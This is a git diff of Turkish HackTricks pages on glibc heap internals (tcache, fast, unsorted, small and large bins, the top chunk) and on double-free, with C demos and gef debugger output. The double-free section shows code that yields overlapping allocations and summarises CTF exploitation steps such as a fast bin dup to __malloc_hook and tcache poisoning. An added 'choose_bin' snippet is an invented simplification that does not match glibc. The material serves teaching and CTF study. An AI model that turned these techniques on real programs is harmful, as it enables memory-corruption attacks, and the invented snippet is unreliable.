@@ -48,7 +49,7 @@ free(chunk); return 0; } ``` -Derleyin ve ana işlevden ret komutunda bir kesme noktası ile hata ayıklamayı yapın. Sonra gef ile kullanımda olan tcache binini görebilirsiniz: +Derleyin ve ana işlevden ret opcode'unda bir kesme noktası ile hata ayıklamayı yapın. Sonra gef ile kullanımda olan tcache binini görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -157,23 +158,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct)); #### Tcache İndeksleri -Tcache, **her bir indeksin ilk parçasına işaret eden başlangıç işaretçilerine ve her indeks için parça miktarına bağlı olarak çeşitli bölümlere sahiptir ve bu bilgiler bir parçanın içinde bulunur**. Bu, bu bilgileri içeren parçayı (genellikle ilk parçayı) bulmak, tüm tcache başlangıç noktalarını ve Tcache parça miktarını bulmayı mümkün kılar. +Tcache, **her bir indeksin boyutuna ve başlangıç işaretçilerine bağlı olarak birkaç farklı bina sahiptir ve her indeks için ilk parçanın ve indeks başına düşen parça miktarının bir parça içinde bulunduğu anlamına gelir**. Bu, bu bilgiyi içeren parçayı (genellikle ilk parçayı) bulmak, tüm tcache başlangıç noktalarını ve Tcache parça miktarını bulmayı mümkün kılar. ### Hızlı Bins -Hızlı bölümler, **küçük parçalar için bellek tahsisini hızlandırmak için tasarlanmıştır** ve son zamanlarda serbest bırakılan parçaları hızlı erişimli bir yapıda tutarak çalışır. Bu bölümler, Son Giren İlk Çıkar (LIFO) yaklaşımını kullanır, yani **en son serbest bırakılan parça, yeni bir tahsis isteği olduğunda ilk olarak yeniden kullanılır**. Bu davranış hız için avantajlıdır, çünkü bir yığının üstünden (LIFO) ekleme ve çıkarma yapmak, bir kuyruktan (FIFO) ekleme ve çıkarmaya göre daha hızlıdır. +Hızlı binalar, **küçük parçalar için hafıza tahsili işlemini hızlandırmak için tasarlanmıştır** ve son zamanlarda serbest bırakılan parçaları hızlı erişim yapısında tutarak. Bu binalar, Son Giren İlk Çıkar (LIFO) yaklaşımını kullanır, bu da demektir ki **en son serbest bırakılan parça, yeni bir tahsis isteği olduğunda ilk olarak yeniden kullanılır**. Bu davranış hız için avantajlıdır, çünkü bir yığının üstünden (LIFO) ekleme ve çıkarma yapmak, bir kuyruktan (FIFO) daha hızlıdır. -Ayrıca, **hızlı bölümler tek yönlü bağlı listeleri kullanır**, çift yönlü değil, bu da hızı daha da artırır. Hızlı bölümlerde parçalar komşularıyla birleştirilmediği için, ortadan kaldırma izni veren karmaşık bir yapıya ihtiyaç yoktur. Tek yönlü bir liste, bu işlemler için daha basit ve daha hızlıdır. +Ayrıca, **hızlı binalar tek yönlü bağlı listeleri kullanır**, çift yönlü değil, bu da hızı daha da artırır. Hızlı binalardaki parçalar komşularla birleştirilmediği için, ortadan kaldırma izni veren karmaşık bir yapıya ihtiyaç yoktur. Tek yönlü bağlı liste, bu işlemler için daha basit ve daha hızlıdır. -Temelde burada olan şey, başlık (kontrol edilecek ilk parçaya işaret eden işaretçi) her zaman o boyuttaki en son serbest bırakılan parçaya işaret eder. Dolayısıyla: +Temelde burada olan şey, başlık (kontrol edilecek ilk parçanın işaretçisi) her zaman o boyuttaki en son serbest bırakılan parçaya işaret eder. Dolayısıyla: -* Bu boyutta yeni bir parça tahsis edildiğinde, başlık kullanılacak bir boş parçaya işaret eder. Bu boş parça, kullanılacak bir sonraki parçaya işaret ettiği için, bu adres başlıkta saklanır, böylece bir sonraki tahsis nereden uygun bir parça alacağını bilir -* Bir parça serbest bırakıldığında, boş parça, mevcut uygun parçanın adresini kaydeder ve bu yeni serbest bırakılan parçanın adresi başlığa konur +* O boyutta yeni bir parça tahsis edildiğinde, başlık kullanılacak bir boş parçaya işaret eder. Bu boş parça, kullanılacak bir sonraki parçaya işaret ettiği için, bu adres başlıkta saklanır, böylece bir sonraki tahsis nereden kullanılabilir bir parça alacağını bilir +* Bir parça serbest bırakıldığında, boş parça, mevcut kullanılabilir parçanın adresini kaydeder ve bu yeni serbest bırakılan parçanın adresi başlığa konur -Bağlı liste maksimum boyutu `0x80` ve bir `0x20` boyutundaki parça `0` indekste olacak şekilde düzenlenir. +Bağlı liste maksimum boyutu `0x80` ve bir `0x20` boyutundaki bir parça `0` indekste olacaktır, bir `0x30` boyutundaki bir parça `1` indekste olacaktır... {% hint style="danger" %} -Hızlı bölümlerdeki parçalar uygun olarak ayarlanmadığından, etraflarındaki diğer serbest parçalarla birleştirilebilme yeteneği yerine bir süre hızlı bölüm parçaları olarak tutulurlar. +Hızlı binalardaki parçalar kullanılabilir olarak ayarlanmadığından, etraflarındaki diğer serbest parçalarla birleştirilebilme yeteneğine sahip olmaları yerine bir süre hızlı bina parçaları olarak tutulurlar. {% endhint %} ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 @@ -210,7 +211,7 @@ typedef struct malloc_chunk *mfastbinptr; ``` -<özet> Hızlı bin parça örneği ekle +<özet> Hızlı bir blok örneği ekle ```c #include #include @@ -238,7 +239,9 @@ free(chunks[i]); return 0; } ``` -Not allokasyon ve serbest bırakma işlemlerini aynı boyutta 8 parça için nasıl yaptığımıza dikkat edin, böylece tcache'i doldurSiz de `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile derleyin ve hata ayıklama yapın. Sonra `gef` ile tcache bin'in dolu olduğunu ve bir parçanın hızlı binde olduğunu görebilirsiniz: +Not: Aynı boyutta 8 parça ayırdığımızı ve serbest bıraktığımızı ve bunların tcache'i doldurduğunu ve sekizincisinin hızlı parçada depolandığını gözlemleyin. + +Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı başlatın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın hızlı binde olduğunu görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -247,15 +250,13 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) Fastbins[idx=1, size=0x30] 0x00 ``` -
- ### Sıralanmamış kova -Sıralanmamış kova, bellek tahsisini hızlandırmak için kullanılan bir **önbellek**tir. İşte nasıl çalışır: Bir program bir parçayı serbest bıraktığında ve bu parça bir tcache veya hızlı kova içinde tahsis edilemiyorsa ve üst parçayla çakışmıyorsa, bellek yöneticisi hemen onu belirli bir küçük veya büyük kovaya koymaz. Bunun yerine, önce **yanındaki diğer boş parçalarla birleştirmeye** çalışarak daha büyük bir boş bellek bloğu oluşturur. Daha sonra, bu yeni parçayı "sıralanmamış kova" olarak adlandırılan genel bir kovaya yerleştirir. +Sıralanmamış kova, bellek tahsisini hızlandırmak için kullanılan bir **önbellek**tir. İşleyişi şöyledir: Bir program bir parçayı serbest bıraktığında ve bu parça bir tcache veya hızlı kova içinde tahsis edilemiyorsa ve en üst parçayla çakışmıyorsa, bellek yöneticisi hemen onu belirli bir küçük veya büyük kovaya koymaz. Bunun yerine, öncelikle **bitişik boş parçalarla birleştirmeye** çalışarak daha büyük bir boş bellek bloğu oluşturur. Daha sonra, bu yeni parçayı "sıralanmamış kova" olarak adlandırılan genel bir kovaya yerleştirir. -Bir program **bellek istediğinde**, bellek yöneticisi **sıralanmamış kovayı kontrol eder** ve yeterli boyutta bir parça bulunup bulunmadığını kontrol eder. Bir tane bulursa, hemen kullanır. Sıralanmamış kovada uygun bir parça bulamazsa, bu listedeki tüm parçaları boyutlarına bağlı olarak küçük veya büyük kovalarına taşır. +Bir program **bellek istediğinde**, bellek yöneticisi **sıralanmamış kovayı kontrol eder** ve yeterli boyutta bir parça bulunup bulunmadığına bakar. Bir tane bulursa, hemen kullanır. Sıralanmamış kovada uygun bir parça bulamazsa, bu listedeki tüm parçaları boyutlarına göre küçük veya büyük kovalarına taşır. -Dikkat edin, daha büyük bir parça ikiye bölünürse ve geriye kalan kısım MINSIZE'dan büyükse, tekrar sıralanmamış kovaya yerleştirilecektir. +Dikkat edilmesi gereken bir nokta, daha büyük bir parçanın 2 yarısına bölündüğü ve geri kalanın MINSIZE'dan büyük olduğu durumda, tekrar sıralanmamış kovaya yerleştirileceğidir. Bu nedenle, sıralanmamış kova, son zamanlarda serbest bırakılan belleği hızlı bir şekilde yeniden kullanarak bellek tahsisini hızlandırmak ve zaman alıcı aramaları ve birleştirmeleri azaltmak için bir yöntemdir. @@ -293,9 +294,9 @@ free(chunks[i]); return 0; } ``` -Not allokasyon ve serbest bırakma işlemlerini 9 aynı boyutta parça için nasıl yaptığımıza dikkat edin, böylece **tcache'i doldururlar** ve sekizincisi **fastbin için çok büyük olduğu için** sıralanmamış binde depolanır ve dokuzuncusu serbest bırakılmaz, bu yüzden dokuzuncu ve sekizinci **üst parça ile birleştirilmez**. +Not: Aynı boyutta 9 parça ayırdığımızı ve serbest bıraktığımızı **dikkate alın, bu şekilde tcache'i doldururuz** ve sekizincisi **fastbin için çok büyük olduğu için düzensiz kutuya depolanır** ve dokuzuncusu serbest bırakılmaz, bu yüzden dokuzuncu ve sekizinci **üst parça ile birleştirilmez**. -Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı yapın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın sıralanmamış binde olduğunu görebilirsiniz: +Derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı başlatın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın düzensiz kutuda olduğunu görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -317,14 +318,14 @@ Fastbins[idx=6, size=0x80] 0x00 ### Küçük Bins -Küçük binalar büyük binalardan daha hızlıdır ancak hızlı binalardan daha yavaştır. +Küçük bins'ler büyük bins'lerden daha hızlı ancak fast bins'lerden daha yavaştır. -62'nin her bir kutusu aynı boyutta **parçalara** sahip olacaktır: 16, 24, ... (32 bitlerde maksimum 504 bayt ve 64 bitlerde 1024). Bu, bir boşluğun tahsis edilmesi gereken binin bulunmasında, bu listelerdeki girişlerin eklenmesi ve çıkarılmasında hız sağlar. +62 bins'ten her biri **aynı boyutta parçalara** sahip olacaktır: 16, 24, ... (32 bit için maksimum 504 bayt ve 64 bit için 1024 bayt). Bu, bir alanın tahsis edilmesi gereken binin bulunmasında, bu listelerdeki girişlerin eklenmesi ve çıkarılmasında hız sağlar. -Küçük binin boyutu, binin indeksine göre nasıl hesaplandığı şöyledir: +Küçük binin boyutu, binin indeksine göre nasıl hesaplandığı aşağıdaki gibidir: -* En küçük boyut: 2\*4\*indeks (örneğin, indeks 5 -> 40) -* En büyük boyut: 2\*8\*indeks (örneğin, indeks 5 -> 80) +* En küçük boyut: 2\*4\*index (örneğin, indeks 5 -> 40) +* En büyük boyut: 2\*8\*index (örneğin, indeks 5 -> 80) ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 #define NSMALLBINS 64 @@ -339,7 +340,15 @@ Küçük binin boyutu, binin indeksine göre nasıl hesaplandığı şöyledir: ((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ + SMALLBIN_CORRECTION) ``` -Küçük ve büyük kutular arasında seçim yapmak için işlev: +```c +void *choose_bin(size_t size) { + if (size <= SMALL_BIN_SIZE) { + return small_bin; + } else { + return large_bin; + } +} +``` ```c #define bin_index(sz) \ ((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) @@ -376,9 +385,9 @@ chunks[9] = malloc(0x110); return 0; } ``` -Not allokasyon ve serbest bırakma işlemlerini 9 aynı boyutta parça için nasıl yaptığımıza dikkat edin, böylece **tcache'i doldururlar** ve sekizincisi **fastbin için çok büyük olduğu için** sıralanmamış binde depolanır ve dokuzuncusu serbest bırakılmaz, bu yüzden dokuzuncu ve sekizinci **üst parça ile birleştirilmez**. Daha sonra 0x110 boyutunda daha büyük bir parça tahsis ederiz, bu da **sıralanmamış bindeki parçanın küçük bine gitmesine neden olur**. +Not allokasyon ve serbest bırakma işlemlerini 9 aynı boyutta parça için nasıl yaptığımıza dikkat edin, böylece **tcache'i doldururlar** ve sekizincisi **hızlı bin için çok büyük olduğu için düzensiz binde depolanır** ve dokuzuncusu serbest bırakılmaz, bu nedenle dokuzuncu ve sekizinci **üst parça ile birleştirilmez**. Daha sonra 0x110 boyutunda daha büyük bir parça tahsis ederiz, bu da **düzensiz bindeki parçanın küçük bine gitmesine neden olur**. -Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı başlatın. Sonra `gef` ile tcache bininin dolu olduğunu ve bir parçanın küçük binde olduğunu görebilirsiniz: +Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklamayı yapın. Ardından `gef` ile tcache bininin dolu olduğunu ve bir parçanın küçük binde olduğunu görebilirsiniz: ```bash gef➤ heap bins ──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── @@ -398,13 +407,15 @@ Fastbins[idx=6, size=0x80] 0x00 → Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [+] Found 1 chunks in 1 small non-empty bins. ``` + + ### Büyük kovalar -Küçük kovaların aksine, her **büyük kova bir aralığı yönetir**. Bu daha esnek bir yapıya sahiptir, çeşitli boyutları **ayrı bir kova oluşturmadan** barındırabilmesine olanak tanır. +Küçük kovaların aksine, her **büyük kova bir aralıkta parça boyutlarını yönetir**. Bu daha esnek bir yapıya sahiptir, çeşitli boyutları **ayrı bir kova gerektirmeden** sistemde barındırabilir. -Bir bellek tahsis edici içinde büyük kovalar, küçük kovaların bittiği yerden başlar. Büyük kovalar için aralıklar giderek büyür, yani ilk kova 512 ile 576 bayt arasındaki parçaları kapsayabilirken, bir sonraki kova 576 ile 640 bayt arasındakileri kapsar. Bu desen devam eder ve en büyük kova 1MB'nin üzerindeki tüm parçaları içerir. +Bir bellek tahsis edici içinde büyük kovalar, küçük kovaların bittiği yerden başlar. Büyük kovalar için aralıklar giderek büyür, yani ilk kova 512 ile 576 bayt arasındaki parçaları kapsayabilirken, bir sonraki kova 576 ile 640 bayt arasındakileri kapsar. Bu desen devam eder ve en büyük kova 1MB üzerindeki tüm parçaları içerir. -Büyük kovalar, bir tahsis için **en iyi uyumu bulmak için değişen parça boyutlarının listesini sıralamak ve aramak zorunda olduklarından küçük kovalara göre daha yavaş çalışırlar**. Bir parça büyük bir kovaya eklendiğinde sıralanmalı ve bellek tahsis edildiğinde sistem doğru parçayı bulmalıdır. Bu ekstra iş onları **daha yavaş** yapar, ancak büyük tahsisler küçük olanlardan daha az yaygın olduğundan, bu kabul edilebilir bir takastır. +Büyük kovalar, bir tahsis için en iyi uyumu bulmak için **değişen parça boyutlarının listesinde sıralama ve arama yapmak zorunda kaldıkları için** küçük kovalara göre daha yavaş çalışırlar. Bir parça büyük bir kovaya eklendiğinde sıralanmalı ve bellek tahsis edildiğinde sistem doğru parçayı bulmalıdır. Bu ekstra iş onları **daha yavaş** yapar, ancak büyük tahsisler küçük olanlardan daha az olduğu için kabul edilebilir bir takas yapılır. Şunlar vardır: @@ -457,7 +468,7 @@ Büyük kovalar, bir tahsis için **en iyi uyumu bulmak için değişen parça b
-Büyük bir parça örneği ekle +Büyük bir parça örneği ekleyin ```c #include #include @@ -525,9 +536,10 @@ the 2 preceding words to be zero during this interval as well.) /* Conveniently, the unsorted bin can be used as dummy top on first call */ #define initial_top(M) (unsorted_chunks (M)) ``` -Temelde, bu şu anda mevcut olan heap'i içeren bir parçadır. Bir malloc işlemi gerçekleştirildiğinde, kullanılacak boş bir parça yoksa, bu üst parça gerekli alanı vermek için boyutunu azaltacaktır. Top Parça'nın işaretçisi `malloc_state` yapısında saklanır. +Temelde, şu anda mevcut olan heap'in tümünü içeren bir parçadır. Bir malloc işlemi gerçekleştirildiğinde, kullanılabilecek herhangi bir boş parça yoksa, bu üst parça gerekli alanı vererek boyutunu azaltacaktır.\ +Top Chunk'a işaret eden işaretçi, `malloc_state` yapısında saklanır. -Ayrıca, başlangıçta, sırasız parçayı üst parça olarak kullanmak mümkündür. +Ayrıca, başlangıçta, üst parça olarak sırasız parçayı kullanmak mümkündür.
@@ -545,7 +557,7 @@ gets(chunk); return 0; } ``` -Derleyip hata ayıkladıktan sonra `main`'in `ret` işlem kodundaki kesme noktasıyla hata ayıkladım ve malloc'un `0xaaaaaaac12a0` adresini döndürdüğünü gördüm ve bunlar parçalar: +Derleyip hata ayıkladıktan sonra `main`'in `ret` işlem kodundaki bir kesme noktasıyla hata ayıkladım ve malloc'un `0xaaaaaaac12a0` adresini döndürdüğünü gördüm ve bunlar parçalar: ```bash gef➤ heap chunks Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) @@ -558,8 +570,8 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ [0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk ``` -Top chunk'ın `0xaaaaaaac1ae0` adresinde olduğu görülebilir. Bu, son tahsis edilen parçanın `0xaaaaaaac12a0` adresinde ve `0x410` boyutunda olduğu için şaşırtıcı değil ve `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` olur.\ -Ayrıca, Top chunk'ın boyutunu chunk başlığında görmek de mümkündür: +Top bloğun adresinin `0xaaaaaaac1ae0` olduğu görülebilir. Bu bir sürpriz değil çünkü en son ayrılan blok `0xaaaaaaac12a0` adresindeydi ve boyutu `0x410` idi ve `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0` olur.\ +Ayrıca, Top bloğun uzunluğu da blok başlığında görülebilir: ```bash gef➤ x/8wx 0xaaaaaaac1ae0 - 16 0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 @@ -587,9 +599,9 @@ gef➤ x/8wx 0xaaaaaaac1ae0 - 16 [free.md](heap-memory-functions/free.md) {% endcontent-ref %} -## Yığın Fonksiyonları Güvenlik Kontrolleri +## Heap Fonksiyonları Güvenlik Kontrolleri -Yığın içinde sıkça kullanılan fonksiyonlar tarafından gerçekleştirilen güvenlik kontrollerini kontrol edin: +Heap'te sıkça kullanılan fonksiyonlar tarafından gerçekleştirilen güvenlik kontrollerini kontrol edin: {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) @@ -602,16 +614,17 @@ Yığın içinde sıkça kullanılan fonksiyonlar tarafından gerçekleştirilen * [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions) * [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin. -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarını paylaşarak **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/libc-heap/double-free.md b/binary-exploitation/libc-heap/double-free.md index 34648b5a0..a0135c2b1 100644 --- a/binary-exploitation/libc-heap/double-free.md +++ b/binary-exploitation/libc-heap/double-free.md @@ -1,24 +1,25 @@ # Çift Serbest Bırakma +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -Bir bellek bloğunu birden fazla kez serbest bırakırsanız, tahsisatçının verilerini bozabilir ve saldırılara kapı aralayabilirsiniz. İşte nasıl gerçekleşir: Bir bellek bloğunu serbest bıraktığınızda, bu blok serbest bloklar listesine geri gider (örneğin "hızlı bin"). Aynı bloğu iki kez üst üste serbest bırakırsanız, tahsisatçı bunu algılar ve bir hata verir. Ancak **başka bir bloğu serbest bıraktığınızda, çift serbest bırakma kontrolü atlatılır**, bu da bozulmaya neden olur. +Bir bellek bloğunu birden fazla kez serbest bırakırsanız, tahsisatçının verilerini bozabilir ve saldırılara kapı açabilirsiniz. İşte nasıl gerçekleştiği: Bir bellek bloğunu serbest bıraktığınızda, bu blok serbest bloklar listesine geri gider (örneğin, "hızlı blok"). Aynı bloğu iki kez üst üste serbest bırakırsanız, tahsisatçı bunu algılar ve bir hata verir. Ancak **başka bir bloğu serbest bıraktığınızda, çift serbest bırakma kontrolü atlatılır**, bu da bozulmaya neden olur. -Şimdi, yeni bellek istediğinizde (`malloc` kullanarak), tahsisatçı size **iki kez serbest bırakılmış bir blok** verebilir. Bu, aynı bellek konumuna işaret eden iki farklı işaretçiye yol açabilir. Bir saldırgan bu işaretçilerden birini kontrol ederse, o belleğin içeriğini değiştirebilir, bu da güvenlik sorunlarına yol açabilir veya hatta kod yürütmesine izin verebilir. +Şimdi, yeni bellek istediğinizde (`malloc` kullanarak), tahsisatçı size **iki kez serbest bırakılmış bir blok** verebilir. Bu, aynı bellek konumuna işaret eden iki farklı işaretçiye yol açabilir. Bir saldırgan bu işaretçilerden birini kontrol ederse, o belleğin içeriğini değiştirebilir, bu da güvenlik sorunlarına neden olabilir veya hatta kodu yürütmesine izin verebilir. Örnek: ```c @@ -92,9 +93,9 @@ printf("i2: %p\n", (void *)i1); return 0; } ``` -Bu örnekte, tcache'i birkaç serbest bırakılmış parça ile doldurduktan sonra, kod **parça `h`'yi serbest bırakır, ardından parça `i`'yi ve sonra tekrar `h`'yi serbest bırakarak çift serbest bırakma** (aynı zamanda Hızlı Bin dup olarak da bilinir) oluşturur. Bu, yeniden boyutlandırma yapılırken örtüşen bellek adreslerini alabilme olasılığını açar, yani iki veya daha fazla işaretçi aynı bellek konumuna işaret edebilir. Bir işaretçi aracılığıyla veri manipüle edilirse diğerini etkileyebilir, bu da kritik bir güvenlik riski ve sömürü potansiyeli yaratır. +Bu örnekte, tcache'i birkaç serbest bırakılmış parça ile doldurduktan sonra, kod **parça `h`'yi serbest bırakır, ardından parça `i`'yi ve sonra tekrar `h`'yi serbest bırakarak çift serbest bırakma** (aynı zamanda Hızlı Bin dup olarak da bilinir) oluşturur. Bu, yeniden boyutlandırma sırasında örtüşen bellek adreslerini alabilme olasılığını açar, yani iki veya daha fazla işaretçi aynı bellek konumuna işaret edebilir. Bir işaretçi aracılığıyla veri manipüle edilirse diğerini etkileyebilir, bu da kritik bir güvenlik riski ve sömürü potansiyeli yaratır. -Çalıştırıldığında, **`i1` ve `i2`'nin aynı adresi aldığına** dikkat edin: +Çalıştırırken, **`i1` ve `i2`'nin aynı adresi aldığına** dikkat edin:
İlk tahsisler:
 a: 0xaaab0f0c22a0
@@ -122,9 +123,9 @@ h1: 0xaaab0f0c2380
 ## Örnekler
 
 * [**Dragon Army. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dragon-army/)
-* `0x70` boyutundaki haricinde yalnızca Hızlı Bin boyutunda parçalar tahsis edebiliriz, bu da genellikle `__malloc_hook` üzerine yazmayı engeller.
+* `0x70` boyutundaki haricinde yalnızca Hızlı Bin boyutunda parçalar tahsis edebiliriz, bu da genellikle `__malloc_hook` üzerine yazmayı önler.
 * Bunun yerine, Fast Bin dup için hedef olarak `0x56` ile başlayan PIE adreslerini kullanırız (1/2 şans).
-* PIE adreslerinin depolandığı yerlerden biri, `main_arena` içinde Glibc içinde ve `__malloc_hook`'a yakın olan yerdir.
+* PIE adreslerinin depolandığı yerlerden biri, `main_arena` içinde Glibc'de ve `__malloc_hook`'a yakındır.
 * `main_arena`'nın belirli bir ofsetini hedef alarak oraya bir parça tahsis eder ve `__malloc_hook`'a ulaşana kadar parçaları tahsis etmeye devam ederiz.
 * [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
 * Tcache kutularını ve bir null-byte taşmasını kullanarak çift-serbest bir durum elde edebiliriz:
@@ -132,23 +133,24 @@ h1: 0xaaab0f0c2380
 * `B`'yi serbest bırakırız
 * `A`'yı serbest bırakır ve tekrar tahsis ederiz, null-byte taşmasını kullanmak için
 * Şimdi `B`'nin boyut alanı `0x111` yerine `0x100` olduğundan, onu tekrar serbest bırakabiliriz
-* `0x110` boyutunda bir Tcache-bin ve aynı adrese işaret eden `0x100` boyutunda bir Tcache-bin'imiz var. Bu nedenle çift serbest bırakma durumu var.
+* `0x110` boyutunda bir Tcache-bin ve aynı adrese işaret eden `0x100` boyutunda bir tane daha vardır. Bu nedenle çift serbest bırakma yapmış oluruz.
 * Çift serbest bırakmayı [Tcache zehirlenmesi](tcache-bin-attack.md) kullanarak kaldıraçlıyoruz.
 
 ## Referanslar
 
 * [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
 
+{% hint style="success" %}
+AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
 
